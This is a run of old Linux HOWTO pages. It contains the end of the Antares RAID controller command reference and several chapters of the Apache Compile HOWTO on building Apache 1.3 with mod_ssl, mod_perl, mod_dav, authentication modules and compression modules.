    • DESCRIPTION: test evaluates the expr and if its value is true then it returns a K9 status of NIL which is equivalent to the true command. Alternatively if test evaluates the expr and if its value is false then it returns a K9 status of "false" which is equivalent to the false command. If no arguments are given then a K9 status of "false" is returned. If the expression doesn't obey the syntax given below then an error message is written to standard error and returned as the K9 status. Note that any non-NIL K9 status is interpreted as false by husky condition logic (e.g. "if"). The basic expressions use by test fall into 3 categories: file tests, string tests and numeric tests. These basic expressions can be modified or combined into larger expressions by a 4th category called operators.
    • FILE TESTS: The following file tests are supported:
      • -d file: True if file exists and is a directory.
      • -f file: True if file exists.
      • -s file: True if file exists and is non-zero length.
    • STRING TESTS: The command "test {}" is syntactically correct and has the value "false" because "{}" is an empty string. The command "test" by itself has the value "false". The commands "test hello" and "test -z" both have the value "true". The following string tests are supported:
      • -n str: True if the length of str is non-zero.
      • -z str: True if the length of str is zero.
      • str1 = str2: True if str1 and str2 are identical. Spaces surrounding "=" are required.
      • str1 != str2: True if str1 and str2 are not identical. Spaces surrounding "!=" are required.
      • str: True if str is not a null (empty) string
    • NUMERIC TESTS: These numeric arguments are evaluated as signed integers. Currently an internal 32 bit integer representation is used limiting the range of valid integers from -2,147,483,648 to 2,147,483,647 (inclusive). Thus fixed point and floating point numbers cannot be compared. The spaces surrounding the numeric comparison tokens (e.g. "-eq") are required. Instead of a number an expression of the form "-l str" can be given. This evaluates to the number of characters in the string str. The following numeric tests are supported:
      • n1 -eq n2: True if n1 and n2 are numerically equal
      • n1 -ge n2: True if n1 is greater than or equal to n2
      • n1 -gt n2: True if n1 is greater than n2
      • n1 -le n2: True if n1 is less than or equal to n2
      • n1 -lt n2: True if n1 is less than n2
      • n1 -ne n2: True if n1 is not equal to n2
    • OPERATORS: The following operators are supported:
      • !: Unary negation operator. Appears to the left of the expression it is negating.
      • -a: Binary AND operator. Appears between the 2 expressions it is logically combining.
      • -o: Binary OR operator. Appears between the 2 expressions it is logically combining.
      • ( expr ): Parentheses are used to group expressions. Since parentheses are husky special characters they need to be quoted or escaped.
      • The relative precedence of these operators from high to low is: () ! -a -o. Thus the expression:
        test ! -f /bin/ls -a -d /env
      is the same as:
      test {(} ! -f /bin/ls {)} -a -d /env

    The "!" operator should appear to the left of other unary operators. Basic binary operators have higher precedence than "-a" and "-o".

  • SEE ALSO: husky

    • 13.106 TIME - Print the number of seconds since boot (or reset of clock)

    • SYNOPSIS: time
    • DESCRIPTION: time will print the time in seconds since the RaidRunner was booted or since the clock was last reset.

    13.107 TRAP - intercept a signal and perform some action

    • SYNOPSIS:
      • trap
      • trap n ...
      • trap {} n ...
      • trap arg n ...
    • DESCRIPTION: trap allows signals directed at this process to intercept signals and potentially take some special action. When trap is used with no arguments then all current (non- default) traps for this process are printed. When the first argument is a number (optionally followed by other numbers) then this number is interpreted as a signal number whose action is to be set to the default for that signal (extra numbers are treated in a similar fashion). When the first argument is an empty string (i.e. {}) then the signals nominated by the following numbers are ignored. When the first argument is a non-empty string then if the signals nominated by the following numbers occur, then "arg" will be executed. N.B. Signal number 4 (kill) can be neither caught nor ignored. The following table maps signal numbers to an explanation:
    • 0 unused signal
    • 1 hangup
    • 2 interrupt (rubout)
    • 3 quit (ASCII FS)
    • 4 kill (cannot be caught or ignored)
    • 5 write on a pipe with no one to read it
    • 6 alarm clock
    • 7 software termination signal
    • 8 child process has changed state
    • 9 process could not obtain memory (from heap)
    • SEE ALSO: kill

    13.108 TRUE - returns the K9 true status

    • SYNOPSIS: true
    • DESCRIPTION: true does nothing other than return the K9 true status. K9 processes return a pointer to a C string (null terminated array of characters) on termination. If that pointer is NULL then a true exit value is assumed while all other returned pointer values are interpreted as false (with the string being some explanation of what went wrong). This command returns a NULL pointer value as its return value. Returning a NULL pointer value is sometimes referred to as returning NIL. The husky shell interprets the token ":" to have the same meaning as true.
    • SEE ALSO: false

    13.109 STTY or TTY - print the user's terminal mount point or terminfo status

    • SYNOPSIS:
      • tty
      • stty [ttyname]
    • DESCRIPTION: tty examines the device on which the it is running, and if the device is on a DUART, then the mount point of the device is printed. If the device is not a DUART, then an appropriate message is printed. stty prints the terminfo structure associated with either the terminal device that stty is being executed from or the given terminal device - ttyname. If an invalid device name is given or the device stty is being executed from is not a DUART, an appropriate message is printed. This command is mainly useful for debugging the RaidRunner kernel.
    • RETURN STATUS: On success a return code of 0 is returned, else 1 is returned.

    13.110 UNSET - delete one or more environment variables

    • SYNOPSIS
      • unset name
      • unset name name ...
    • DESCRIPTION: unset removes the given environment variable(s). This is done by removing the given variable(s) from the /env file system.
    • SEE ALSO: set, env

    13.111 UNSETENV - unset (delete) a GLOBAL environment variable

    • SYNOPSIS: unsetenv name [name ...]
    • DESCRIPTION: unsetenv deletes the GLOBAL environment variable name along with it's contents. If multiple names are given, then each GLOBAL environment variable is deleted. If the given name is not GLOBAL environment variable then nothing is done and no error status is set.
    • NOTE: A GLOBAL environment variable is one which is stored in a non volatile area on the RaidRunner and hence is available between successive power cycles or reboots. These variables ARE NOT the same as husky environment variables. The non volatile area is co-located with the RaidRunner Configuration area.
    • SEE ALSO: printenv, setenv, rconf

    13.112 VERSION - print out the version of the RaidRunner kernel

    • SYNOPSIS: version
    • DESCRIPTION: version prints out the version of the RaidRunner code which comprises the version number, date of creation and creator.

    13.113 WAIT - wait for a process (or my children) to terminate

    • SYNOPSIS: wait [pid]
    • DESCRIPTION: wait either waits for the given pid (process identifier) to terminate or, if no argument is given, waits for all the children of this process to terminate. When a pid is given then the exit status of that process is returned by this command. When no pid is given then this command returns a NIL status (when all children have terminated).
    • SEE ALSO: K9wait, K9kill

    13.114 WARBLE - periodically pulse the buzzer

    • SYNOPSIS: warble period count
    • DESCRIPTION: warble will save the current state of the buzzer (on or off), then turn the buzzer on for period milliseconds, then off for period/2 and repeat this for count times.
    • SEE ALSO: buzzer, sos

    13.115 XD- dump given file(s) in hexa-decimal to standard out

    • SYNOPSIS: xd [ file ... ]
    • DESCRIPTION: xd dumps each given file in hexadecimal format to standard out. If no file is given (or it is "-") then standard in is used.

    13.116 ZAP - write zeros to a file

    SYNOPSIS: zap [-b blockSize] [-f byteVal] count offset <>[3] store

    DESCRIPTION: zap writes count * 8192 bytes of zeros at byte position offset * 8192 into file store (which is opened and associated with file descriptor 3). Both count and offset may have a suffix. The optional "-b" switch allows the block size to be set to blockSize bytes. The default block size is 8192 bytes. The optional "-f" switch allows the fill character to be set to byteVal which should be a number in the range 0 to 255 (inclusive). The default fill character is 0 (i.e. zero). Every 100 write operations the current count is output (usually overwriting the previous count output). Errors on the write operations are ignored.

    SEE ALSO: suffix

    13.117 ZCACHE - Manipulate the zone optimization IO table of a Raid Set's cache

    • SYNOPSIS: zcache -c cache_moniker [-E extents] [-P portion] [-W 0|1] [-p]
    • DESCRIPTION: zcache is a utility that will print and or modify the zone optimized IO table of a given cache range.
    • OPTIONS:
      • -c cache_moniker: Specify the cache range, cache_moniker, to print the zone table or modify it's contents. cache_moniker, is the name which was set in the add moniker=cache_moniker first= ... command (see cache). If no other options are given the zone table is printed. When the zone table is printed it is in the form of
        n state z1_lo..z1_hi@z1_blks z2_lo..z2_hi@z2_blks ... zn_lo..zn_hi@zn_blks
      • where n is the number of IO optimized zones, state is either "on" for zone optimized IO, "off" for no zone optimized IO or "none" if no zones are available. z1_lo..z1_hi@z1_blks ... zn_lo..zn_hi@zn_blks lists the starting and ending blocks and the optimized block count for each zone.
      • -E extents: Specify the number of data drives in the Raid Set for which the cache range exists.
      • -P portion: Specify the percentage, limited to be between 50 and 300, that the optimized block count for each zone is to be adjusted. That is, if you need to reduce the optimized block count for each zone by say 10% you would set portion to 90.
      • -W 0|1: Turn on (1) or off (0) zone IO optimizations for the given cache range.
    • SEE ALSO: cache

    13.118 ZERO - file when read yields zeros continuously

    • SYNOPSIS: bind -k {zero [ # ]} bind_point
    • DESCRIPTION: zero is a special file that when written to is an infinite sink of data (i.e. anything can be written to it and it will be disposed of quickly). When zero is read it is an infinite source of zeros (i.e. the byte value 0). The zero file will appear in the K9 namespace at the bind_point. If the optional "#" is given then the zero file still is an infinite sink of data. However, when read, each 512 bytes is viewed as a block (starting at block 0 at the beginning of the file). Each block contains 128 4 byte integers ("unsigned long" in C) each of which contain the current block number. This option is meant as a debugging aid.
    • EXAMPLE: Husky installs a zero special file as follows:
      bind -k zero /dev/zero

    Example of use to make 32 Kilobyte file (called "/fill") full of zeros.

    dd if=/dev/zero of=/fill bs=8k count=4
  • SEE ALSO: null, log

    • 13.119 ZLABELS - Write zeros to the front and end of Raid Sets

    • SYNOPSIS
      • zlabels -a
      • zlabels raidset [raidset .... ]
    • DESCRIPTION: zlabels is a husky script which writes zeros to both the front and end of either all configured raid sets or to given raid sets. Typically a host operating system will write label(s) onto a disk. Nearly all operating systems write a few blocks at the start of a disk and some write copies at the end of the disk as well. As this label contains formatting and modified disk geometry information a change to a raid set that effects the geometry of it's offered disk drive will conflict with any labels written before. zlabels writes zero's at the start of a raid set and also at the end. The number of blocks zeroed is dependant on the raid set type and io chunksize. Typically 50 io chunk size blocks are written at the start and 49 at the end. In the case of a raid type 3, the number of data drives times 50 (and 49) are written.
    • OPTIONS :
      • -a: All configured raid sets will be zeroed.
      • raidset: The named raid set, or raid sets, are zeroed.
    • SEE ALSO: dd


Antares-RAID-sparcLinux-HOWTO: Advanced Topics: SCSI Monitor Daemon (SMON)

 Next Previous Contents

14. Advanced Topics: SCSI Monitor Daemon (SMON)

Another way of communicating with the onboard controller from the host operating system is using the SCSI Monitor (SMON) facility. SMON provides an ASCII communication channel on an assigned SCSI ID and LUN. The commands discussed in section 7 may also be issued over this channel to manipulate the RAID configuration and operation. This mechanism is utilized under Solaris to provide a communication channel between an X Based GUI and the RAID controller. It is currently un-utilized under Linux. See the description of the smon daemon in the 5070 command reference above.


Antares-RAID-sparcLinux-HOWTO: Further Reading

 Next Previous Contents

15. Further Reading

  • The Linux software-RAID-HOWTO by Linas Vepstas
  • The Plan9 pages at AT&T Bell Labs: http://plan9.bell-labs.com/plan9/index.htm


Getting, build and install Apache with its basic modules

Apache Compile HOWTO (Linux edition)
Prev Next

3. Getting, build and install Apache with its basic modules

3.1. Get and untar the Apache Source

3.1.1. What is Apache

Quoting www.apache.org

The Apache Project is a collaborative software development effort aimed at creating a robust, commercial-grade, featureful, and freely-available source code implementation of an HTTP (Web) server. The project is jointly managed by a group of volunteers located around the world, using the Internet and the Web to communicate, plan, and develop the server and its related documentation. These volunteers are known as the Apache Group. In addition, hundreds of users have contributed ideas, code, and documentation to the project. This file is intended to briefly describe the history of the Apache Group and recognize the many contributors.

From the authors point of view:

It is simply the best Webserver-Software, it is very flexible to configure to match your needs, and its E-X-T-R-E-M-E stable! I personally never experienced a crash in a productive (=non-experimental stuff) environment

3.1.2. Download the source

Origin-Site http://www.apache.org/dist/httpd/
cd /usr/local/

tar -xvzf apache_1.3.24.tar.gz

3.1.3. Patch for large-scale sites

If your webserver should answer very much requests at the same time, and your machine is strong enough to serve such an amount of requests, you can change the limit of maximum running processes

Download the patch from: http://www.delouw.ch/linux/apache-patch_HARD_SERVER_LIMIT.txt

--- httpd.h     Thu Mar 21 18:07:34 2002
+++ httpd.h-new Sun Apr  7 13:34:11 2002
@@ -320,7 +320,7 @@
 #elif defined(NETWARE)
 #define HARD_SERVER_LIMIT 2048
 #else
-#define HARD_SERVER_LIMIT 256
+#define HARD_SERVER_LIMIT 512
 #endif
 #endif

This patch does increase the maximum concurrent accessing clients to 512. Feel free to increase it further, if you hacked your kernel and edited your /etc/security/limits.conf (this is ONLY for experienced users! With wrong settings this could end as a “self-denial-of-service-attack”!! Be sure you have enough processes left for root)

Apply the patch using:

cd /usr/local/apache_1.3.24/src/include

patch -p0 < apache-patch_HARD_SERVER_LIMIT.txt

3.2. mod_ssl

3.2.1. What is mod_ssl

Quoting www.modssl.org

This module provides strong cryptography for the Apache 1.3 webserver via the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols by the help of the Open Source SSL/TLS toolkit OpenSSL, which is based on SSLeay from Eric A. Young and Tim J. Hudson.

From the authors point of view:

This module is needed to enable Apache for SSL-Requests (https). It applies a patch to the Apache source-code and extends its API (EAPI)

Make sure any module for your Apache-Server is compiled with the compiler-flag -DEAPI, or your Webserver might crash or can not be started

Almost all modules I know adds the -DEAPI flag by themself except mod_jserv and mod_jk

3.2.2. Download the source

Origin-Site:http://www.modssl.org

3.2.3. Applying the patch to the apache source

cd /usr/local/

tar -xvzf mod_ssl-2.8.8-1.3.24.tar.gz
cd mod_ssl-2.8.8-1.3.24/

./configure --with-apache=../apache_1.3.24

3.3. mod_perl

3.3.1. What is mod_perl

Quoting perl.apache.org

With mod_perl it is possible to write Apache modules entirely in Perl. In addition, the persistent interpreter embedded in the server avoids the overhead of starting an external interpreter and the penalty of Perl start-up time.

From the authors point of view:

mod_perl is a kind of substitute for cgi-bin's. cgi's typically forks a new process for each request, and produces overhead. With mod_perl the perl-interpreter is loaded persistent in the apache-server and does not need to fork processes for each request

3.3.2. Download the source

Origin-Site: http://www.apache.org/dist/perl

3.3.3. Building and installing

cd /usr/local

tar -xvzf mod_perl-1.26.tar.gz

cd mod_perl-1.26

perl Makefile.PL \
EVERYTHING=1 \
APACHE_SRC=../apache_1.3.24/src \
USE_APACI=1 \
PREP_HTTPD=1 \
DO_HTTPD=1

make
make install

Notice: Do not compile mod_perl as dso (Dynamic Shared Object)! According to various sources, apache will crash (I never tried)

3.4. Configure and build Apache

Now the two static modules mod_ssl and mod_perl are configured and the Apache Source has been patched, and we can proceed with building Apache.

3.4.1. Building and installing

EAPI_MM="/usr/local/mm-1.1.3" SSL_BASE="/usr/local/ssl" \
./configure \
--enable-module=unique_id \
--enable-module=rewrite \
--enable-module=speling \
--enable-module=expires \
--enable-module=info \
--enable-module=log_agent \
--enable-module=log_referer \
--enable-module=usertrack \
--enable-module=proxy \
--enable-module=userdir \
--enable-module=so \
--enable-shared=ssl \
--enable-module=ssl \
--activate-module=src/modules/perl/libperl.a \
--enable-module=perl

make
make install

3.4.2. Create self-signed SSL-certificate

cd /usr/local/ssl/bin

./openssl req -new > new.cert.csr
./openssl rsa -in privkey.pem -out new.cert.key
./openssl x509 -in new.cert.csr -out new.cert.cert \
-req -signkey new.cert.key -days 999

cp new.cert.key /usr/local/apache/conf/ssl.key/server.key
cp new.cert.cert /usr/local/apache/conf/ssl.crt/server.crt

Notice: OpenSSL asks for different things. A common error is to enter a wrong "common name". This should be the FQHN (Fully Qualified HostName) of your Server, i.e www.foo.org

Prev | Home | Next
Prerequisites |  | Additional modules


Compressed delivery

Apache Compile HOWTO (Linux edition)
Prev Next

5. Compressed delivery

There are basically two modules available for output compression: mod_gzip and mod_gunzip. They are using different approaches to reach the the goal of bandwidth reduction.

mod_gunzip expects compressed file on the filesystem, and uncompress them if the browser cannot handle compressed data. The benefit is a low cpu-usage, because most browsers are capable to handle gzipped content. On the oder side, most of today's content is served dynamically i.e. PHP, and this content will be delivered uncompressed.

mod_gzip does not need compressed files on the system, all defined content will be compressed before delivery. The benefit is to have the dynamically generated content also compressed, the other side is a higher cpu-usage, because every request has to be compressed on-the-fly. Mod_gzip can handle already compressed data i.e. index.html.gz and send it as-is.

The conclusion: You carefully have to make a decision which of the two modules makes more sense for you. If you have to pay for every GB delivered and CPU-power does not matter, then mod_gzip is the choice for you. If response time matters (delay between request and delivery), and your bandwidth is cheap or unlimited, mod_gunzip matches your needs better.

A good page that helps you to make this decision is Martin Kiff's document about mod_gunzip http://www.innerjoin.org/apache-compression/howto.html

5.1. mod_gzip

5.1.1. Download the source

Origin-Site: http://www.ehyperspace.com/htmlonly/products/mod_gzip.html

5.1.2. Building and installing

/usr/local/apache/bin/apxs -i -a -c -lz mod_gzip.c

5.1.3. Sample configuration

Put the following in your /usr/local/apache/conf/httpd.conf:

mod_gzip_on                 Yes
mod_gzip_can_negotiate      Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  600
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles     No
mod_gzip_temp_dir           /usr/local/apache/gzip
mod_gzip_item_include       file \.html$
mod_gzip_item_include       file \.txt$
mod_gzip_item_include       file \.jsp$
mod_gzip_item_include       file \.php$
mod_gzip_item_include       file \.pl$
mod_gzip_item_include       mime ^text/.*
mod_gzip_item_include       mime ^application/x-httpd-php
mod_gzip_item_include       mime ^httpd/unix-directory$
mod_gzip_item_include       handler ^perl-script$
mod_gzip_item_include       handler ^server-status$
mod_gzip_item_include       handler ^server-info$
mod_gzip_item_exclude       file \.css$
mod_gzip_item_exclude       file \.js$
mod_gzip_item_exclude       mime ^image/.*

5.2. mod_gunzip

5.2.1. Download the source

Origin-Site: http://www.oldach.net/mod_gunzip.tar.gz

5.2.2. Building and installing

tar -xvzf mod_gunzip.tar.gz
cd mod_gunzip-2

/usr/local/apache/bin/apxs -i -a -c -lz mod_gunzip.c

5.2.3. Sample configuration

Put the following in your /usr/local/apache/conf/httpd.conf:

AddType text/html .htmz
AddHandler send-gunzipped .htmz

Now you can gzip your html files and rename them to i.e:

gzip index.html
mv index.html.gz index.htmz

Of course you have to change all links to htmz, i.e. <a href="page.htmz">Some page</a>

Prev | Home | Next
Additional modules |  | mod_php and its prerequisites


Questions and Answers

Apache Compile HOWTO (Linux edition)
Prev

10. Questions and Answers

Here I answer the questions which I got from users. If you don't find an answer feel free to contact me

  • Q: Why you don't add a description howto compile and setup mod_xyz?

    A: Because nobody requested it yet and I either did not know about a mod_xyz, or I did not found it useful. Feel free to write me some suggestions what to add to the HOWTO. If there is more than one request, and it makes sense, it will maybe added in further releases.

  • Q: If my clients are connecting to https://myserver.org an errormessage similar to this appears "Certificate not valid"

    A: The certificate produced like described in this HOWTO is just a self-signed certificate. This means the CA (Certification Authority) is you. Your CA is not recognized as a valid CA by your users browser. You can either install the certificate on your users machines (Makes sense in small Intranet environments) or buy a certificate from a CA that is recognized by all major browsers. An example of such a CA is Verisign http://www.verisign.com. Such a certificate cost approx. 300 USD a year, depending on the strength of the key (56 or 128 Bits)

  • Q: When I request a php file, the browser want to download it. Whats wrong?

    A: You forgot to tell apache what to do with the php files. So the php files are not processed by the php engine. To do so, add the application type like described in Section 6.3

  • Q: Does this HOWTO also work on other platforms?

    A: Not sure, Solaris should work, AIX and HP-UX do not. I did not got the time to try FreeBSD yet. My goal is to provide a version of the HOWTO for all major Un*x platforms.

Prev | Home
Further Information |


Apache Compile HOWTO (Linux edition)

Luc de Louw

luc at delouw.ch

Revision History
Revision 1.9.12 | 2002-04-22
Added mod_gzip and mod_gunzip, Corrected some typos, updates of software mentioned in the HOWTO, separated the additional modules into an own section.
Revision 1.9.11 | 2002-04-07
Corrected lots of typos (non-technical), updates of software mentioned in the HOWTO
Revision 1.9.11-pre1 | 2002-03-15
Corrected some grammar, updates of software mentioned in the HOWTO
Revision 1.9.10 | 2002-03-09
Corrected some grammar, updates of software mentioned in the HOWTO
Revision 1.9.9 | 2002-02-11
Fixed a major bug in openssl config, restructured the document, added sources for further informations
Revision 1.9.8 | 2002-02-08
Updates of software mentioned in the HOWTO, and fixed some bugs
Revision 1.9.7 | 2001-12-26
Updates of software mentioned in the HOWTO, tested the HOWTO procedures on Linux running on IBM S/390 (zSeries) Machines (See "platforms" for more info), Added some basic support for Tomcat (Binaries only)
Revision 1.9.6 | 2001-10-27
Updates of software mentioned in the HOWTO, and fixed some bugs
Revision 1.9.5 | 2001-08-27
Yet another rewrite in DocBook 3.1
Revision 1.9.4 | 2001-08-26
Updated the Software-Versions mentioned in the document, corrected some typos
Revision 1.9.3 | 2001-06-23
Current Version 2.0.0-pre3 in Linux DocBook format
Revision 1.0.0 | 2000-08-05
First publication of the html-based document

This document describes howto compile the Apache Webserver with the most important modules like mod_perl, mod_dav, mod_auth_ldap, mod_dynvhost, mod_roaming, mod_jserv, and mod_php

Table of Contents
1. Introduction
1.1. Contributors and Contacts
1.2. Why I wrote this document
1.3. What this document is supposed to be
1.4. What this document doesn't do for you
1.5. Platforms
1.6. Copyright Information
1.7. Disclaimer
1.8. New Versions
1.9. Credits
1.10. Feedback
1.11. Translations
1.12. About the author
2. Prerequisites
2.1. General
2.2. Distribution specific
2.3. OpenSSL
2.4. MySQL
2.5. Building mm
3. Getting, build and install Apache with its basic modules
3.1. Get and untar the Apache Source
3.2. mod_ssl
3.3. mod_perl
3.4. Configure and build Apache
4. Additional modules
4.1. mod_dav
4.2. auth_ldap
4.3. mod_auth_mysql
4.4. mod_dynvhost
4.5. mod_roaming
5. Compressed delivery
5.1. mod_gzip
5.2. mod_gunzip
6. mod_php and its prerequisites
6.1. What is mod_php
6.2. Prerequisites
6.3. Building and installing PHP4
7. PHP extensions
7.1. APC (Alternative PHP-cache)
7.2. Zend-Optimizer (Do _NOT_ combine with APC-Cache!)
8. Server Side Java
8.1. mod_jserv
8.2. jakarta-tomcat
9. Further Information
9.1. News groups
9.2. Mailing Lists
9.3. HOWTO
9.4. Local Resources
9.5. Web Sites
10. Questions and Answers
Next
Introduction


Introduction

Apache Compile HOWTO (Linux edition)
Prev Next

1. Introduction

1.1. Contributors and Contacts

First I would thank all those people who send questions and suggestions that made a further development of this document possible. It shows me, sharing knowledge is the right way. I would encourage you to send me more suggestion, just write me an email <luc at delouw.ch>

1.2. Why I wrote this document

All Linux-distributions I tested had a non-optimal default setup of Apache. Additionally all major distributions don't have current versions of Apache.

Finally no commercial Unix are delivered with pre-installed Apache

Since I am installing a lot of customized webservers on different Un*xes therefor I wrote a plaintext document and placed it on my website so I can access it at work. Later a friend posted the URL to a mailinglist, and the first questions arrived. So I decided to put more information on the page.

After a lot of people requested the document as an “official” HOWTO, I decided to prepare it to be one

1.3. What this document is supposed to be

Compiling all the items described below needs a lot of configure-options that nobody can memorize. This is supposed to be a “copy-paste-ready” text to compile apache and friends

Also, people should learn how to build a full-featured Apache-webserver by themself to be independent from any Linux distributors.

1.4. What this document doesn't do for you

It is just a Document, not a script that makes the work for you. You have to do all the steps by yourself.

1.5. Platforms

The original document was for all major Un*x platforms. Now the HOWTOs are separated for each platform. You will find the same document adapted for:

  • Linux (This Document)

  • IBM AIX 4.3 and 5.1L

  • Sun Solaris 6/7/8

  • Hewlett-Packard HP-UX 11

  • {Free|Net|Open}-BSD

Important Notice for users running Linux on IBM S/390 (zSeries): PostgreSQL and Jserv wont compile on that system. All other programs and modules mentioned in the HOWTO are working perfectly

Other Un*x-platforms: Feel free to create a guest-account for me on your Un*x platform, so I can have a look at the differences.

Windows-Users: I'm sorry, I'm too young for a heart-attack, You will need to upgrade your machine to a “real“ operating system ;-)

1.6. Copyright Information

This document is copyrighted (c) 2000, 2001, 2002 Luc de Louw and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto at metalab.unc.edu>

1.7. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.8. New Versions

This is the 10th Revision

New revisions of this document will be announced at http://freshmeat.net/apacompile

The latest version of this document is to be found at http://www.delouw.ch/linux

  • HTML.

  • Postscript (ISO A4 format).

  • Acrobat PDF.

  • SGML Source.

  • HTML gzipped tarball.

1.9. Credits

I would thank all the nice people at < discuss (at) linuxdoc.org> for supporting me in writing HOWTOs

1.10. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and critics to the following email address : <luc at delouw.ch>.

1.11. Translations

At the moment there are translations available for:

  • German

  • French

Translations to other languages are always welcome. If you translated this document, please let me know, so I can set a link here

1.12. About the author

Luc (in english Luke) is 29 years old, playing around with computers since 20years. Currently he is working as Unix System Engineer for an IT-corporation located in Kloten (Zurich), Switzerland. Main-focus is developing all flavors of innovative Systems running on Linux (and other Un*xes) . Further, for all major Un*x platforms all the “impossible” tasks will end up on his desk (yes, its funny and he loves it!)

Prev | Home | Next
Apache Compile HOWTO (Linux edition) |  | Prerequisites


Additional modules

Apache Compile HOWTO (Linux edition)
Prev Next

4. Additional modules

4.1. mod_dav

4.1.1. What is mod_dav

Quoting www.webdav.org

mod_dav is an Apache module to provide DAV capabilities (RFC 2518) for your Apache web server. It is an Open Source module, provided under an Apache-style license.

mod_dav is maintained by gstein at lyra.org

From the authors point of view:

DAV means: "Distributed authoring and Versioning". It allows you to manage your Website similar to a filesystem. It is meant to replace ftp-uploads to your Webserver.

DAV is supported by all major Web-development-Tools (newer versions) and is going to be a widely accepted standard for Web-publishing

4.1.2. Download the source

Origin-Site: http://www.webdav.org/mod_dav/

4.1.3. Building and installing

cd /usr/local

tar -xvzf mod_dav-1.0.3-1.3.6.tar.gz
cd mod_dav-1.0.3-1.3.6

./configure --with-apxs=/usr/local/apache/bin/apxs

make
make install

Notice: the filename mod_dav-1.0.3-1.3.6 suggests that it will only run with apache 1.3.6 but it actually will run with all apaches >= 1.3.6

4.2. auth_ldap

4.2.1. What is auth_ldap

Quoting www.rudedog.org

auth_ldap is an LDAP authentication module for Apache, the world's most popular web server. auth_ldap has excellent performance, and supports Apache on both Unix and Windows NT. It also has support for LDAP over SSL, and a mode that lets Micros˜1 Frontpage clients manage their web permissions while still using LDAP for authentication.

From the authors point of view:

If you like to consolidate your login-facilities to a common user/passwd base, LDAP is the right way. LDAP is an open standard and widely supported.

Login-facilities for LDAP:

Unix-Logins for Linux, Solaris (others?) FTP-Logins (some ftp-daemons) http Basic Authentication Tarantella Authentication and Role-Management Samba Authentication (2.2.x should support this) LDAP is role based. That means, i.e. you can define a role "manager" assign a user as member and that user can login wherever a manager is allowed to login

4.2.2. Download the source

Origin-Site: http://www.rudedog.org/auth_ldap/

4.2.3. Building and installing

cd /usr/local

tar -xvzf auth_ldap-1.6.0.tar.gz

cd auth_ldap-1.6.0

./configure --with-apxs=/usr/local/apache/bin/apxs \
--with-sdk=openldap

make
make install

4.3. mod_auth_mysql

4.3.1. What is mod_auth_mysql

It is a http-Basic Authentication Module. It allows to maintain your user comfortable in a MySQL-Database

4.3.2. Download the source

Origin-Site: ftp://ftp.kciLink.com/pub/mod_auth_mysql.c.gz

4.3.3. Building and installing

gunzip mod_auth_mysql.c.gz

/usr/local/apache/bin/apxs \
-c -I/usr/local/mysql/include \
-L/usr/local/mysql/lib/mysql \
-lmysqlclient -lm mod_auth_mysql.c

cp mod_auth_mysql.so /usr/local/apache/libexec/

Add this line in your httpd.conf:

LoadModule mysql_auth_module libexec/mod_auth_mysql.so

And where the other modules are added:

AddModule mod_auth_mysql.c

Take care that the path of Mysql libs and includes are correct!

Notice: Be sure that /usr/local/mysql/lib/mysql is in /etc/ld.so.conf before compiling

Use AuthMySQLCryptedPasswords Off or it does not work! (under investigation why not)

4.3.4. Sample configuration

4.3.4.1. /usr/local/apache/conf/httpd.conf

<location /manual/>
  AuthType Basic
  AuthUserfile /dev/null
  AuthName Testing
  AuthGroupFile /dev/null
  AuthMySQLHost localhost
  AuthMySQLCryptedPasswords Off
  AuthMySQLUser root
  AuthMySQLDB users
  AuthMySQLUserTable user_info
  <Limit GET POST>
    require valid-user
  </limit>
</location>

4.3.4.2. Script for creating the MySQL-Database

just type:

mysql < authmysql.sql

The File authmysql.sql contents:

  create database http_users;
  connect http_users;

  CREATE TABLE user_info (
  user_name CHAR(30) NOT NULL,
  user_passwd CHAR(20) NOT NULL,
  user_group CHAR(10),
  PRIMARY KEY (user_name);

4.4. mod_dynvhost

4.4.1. What is mod_dynvhost

It is a module that allows to define new Virtual Host "on-the-fly". Just create a new Directory in your vhost-path, thats it. It is not need to restart your Webserver

It is a good solution for Mass-Virtual-hosting for ISP's

4.4.2. Download the source

Origin-Site: http://funkcity.com/0101/projects/dynvhost/mod_dynvhost.tar.gz

4.4.3. Building and installing

cd /usr/local

tar -xvzf mod_dynvhost.tar.gz

cd dynvhost/

/usr/local/apache/bin/apxs -i -a -c mod_dynvhost.c

Notice: Take a look at httpd.conf if mod_dynvhost.so is loaded at startup:

LoadModule dynvhost_module libexec/mod_dynvhost.so

4.4.4. Sample configuration

4.4.4.1. /usr/local/apache/conf/httpd.conf

<DynamicVirtualHost /usr/local/apache/htdocs/vhosts/>
  HomeDir /
</DynamicVirtualHost>

Now create a Directory for each virtualhost in /usr/local/apache/htdocs/vhosts/

i.e.

/usr/local/apache/htdocs/vhosts/foo.bar.org

You don't need to restart your Webserver

4.5. mod_roaming

4.5.1. What is mod_roaming

Quoting www.klomp.org/mod_roaming/

With mod_roaming you can use your Apache webserver as a Netscape Roaming Access server. This allows you to store your Netscape Communicator 4.5 preferences, bookmarks, address books, cookies etc. on the server so that you can use (and update) the same settings from any Netscape Communicator 4.5 that can access the server.

From the authors point of view:

